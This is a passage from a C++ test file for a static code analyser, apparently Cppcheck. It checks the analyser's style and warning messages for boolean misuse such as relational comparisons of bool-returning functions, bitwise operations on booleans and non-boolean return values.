ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\"\n \"[test.cpp:11:7]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool3() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare(temp) > temp){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp);\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:3:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool4() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" if(compare1(temp)> b){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool5() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > !compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool6() {\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"int compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(::compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(foo.compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool7() { // #7197\n check(\"struct C {\\n\"\n \" bool isEmpty();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c1, c2;\\n\"\n \" if ((c1.isEmpty()) < (c2.isEmpty())) {}\\n\"\n \" if (!c1.isEmpty() < !!c2.isEmpty()) {}\\n\"\n \" if ((int)c1.isEmpty() < (int)c2.isEmpty()) {}\\n\"\n \" if (static_cast(c1.isEmpty()) < static_cast(c2.isEmpty())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:7:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:8:24]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:9:36]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\",\n errout_str());\n }\n\n void checkComparisonOfFuncReturningBool8() { // #4103\n // op: >\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b > a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b < a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: >=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b >= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b <= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBoolIntegrationTest1() { // #7798\n check(\"bool eval(double *) { return false; }\\n\"\n \"double eval(char *) { return 1.0; }\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if ( eval(argv[1]) > eval(argv[2]) )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfBoolWithBool() {\n const char code[] = \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" bool a = compare1(4);\\n\"\n \" if(b > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void bitwiseOnBoolean() { // 3062\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if((a > 0) & (b < 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style, inconclusive) Boolean expression 'a>0' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" foo(bar, &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #9405\n \" class C { void foo(bool &b) {} };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"bool g() {\\n\"\n \" return f() | f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8 outcode(float p) {\\n\"\n \" float d = 0.;\\n\"\n \" return ((p - xm >= d) << 1) | (x - p > d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10655\n \"void f(bool b) {\\n\"\n \" if (g() | b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(bool b) {\\n\"\n \" if (b | g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"bool f(bool b, bool c) {\\n\"\n \" return b | g() | c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #4233\n \" bool b = true, c = false;\\n\"\n \" b &= i;\\n\"\n \" c |= i;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. [bitwiseOnBoolean]\\n\"\n \"[test.cpp:4:7]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. [bitwiseOnBoolean]\\n\",\n errout_str());\n\n check(\"void f(int i, int j, bool b) {\\n\"\n \" i &= b;\\n\"\n \" j |= b;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b, int i) {\\n\"\n \" b &= (i == 5);\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { bool b{}; };\\n\" // #12455\n \"void f(const std::unordered_map m) {\\n\"\n \" for (const auto& e : m) {\\n\"\n \" S s;\\n\"\n \" s.b |= e.second.b;\\n\"\n \" (void)s.b;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incrementBoolean() {\n check(\"bool bValue = true;\\n\"\n \"void f() { bValue++; }\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" (*test)++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" test[0]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(int test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt1() {\n check(\"void f(bool x) {\\n\"\n \" if (x < 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (10 >= x) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\" // #3356\n \" if (x == 1) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"DensePropertyMap visited;\"); // #4075\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt2() {\n check(\"void f(bool x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, fooClass y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt3() {\n check(\"void f(int y) {\\n\"\n \" if (y > false) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(int y) {\\n\"\n \" if (true == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (y == true) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (false < 5) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void comparisonOfBoolWithInt4() {\n check(\"void f(int x) {\\n\"\n \" if (!x == 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt5() {\n check(\"void SetVisible(int index, bool visible) {\\n\"\n \" bool (SciTEBase::*ischarforsel)(char ch);\\n\"\n \" if (visible != GetVisible(index)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt6() { // #4224 - integer is casted to bool\n check(\"void SetVisible(bool b, int i) {\\n\"\n \" if (b == (bool)i) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt7() { // #4846 - (!x==true)\n check(\"void f(int x) {\\n\"\n \" if (!x == true) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt8() { // #9165\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res + 5)\\n\"\n \" throw 2;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void comparisonOfBoolWithInt9() { // #9304\n check(\"bool f(int a, bool b)\\n\"\n \"{\\n\"\n \" if ((a == 0 ? false : true) != b) {\\n\"\n \" b = !b;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt10() { // #10935\n check(\"enum class E { H = 2 };\\n\"\n \"template \\n\"\n \"void f(bool v) {\\n\"\n \" if (v == H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" enum class E { H = 2 };\\n\"\n \"}\\n\"\n \"void f(bool v) {\\n\"\n \" if (v == N::H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void pointerArithBool1() { // #5126\n check(\"void f(char *p) {\\n\"\n \" if (p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" do {} while (p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" while (p-1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" for (int i = 0; p+1; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p && p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p+2 || p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n }\n\n void returnNonBool() {\n check(\"bool f(void) {\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1 + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 10;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2 < 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" if (a)\\n\"\n \" return 3;\\n\"\n \" return 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolLambda() {\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n\n void returnNonBoolLogicalOp() {\n check(\"bool f(int x) {\\n\"\n \" return x & 0x4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\"\n \" return x | y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return (x & 0x2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolClass() {\n check(\"class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" struct X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n 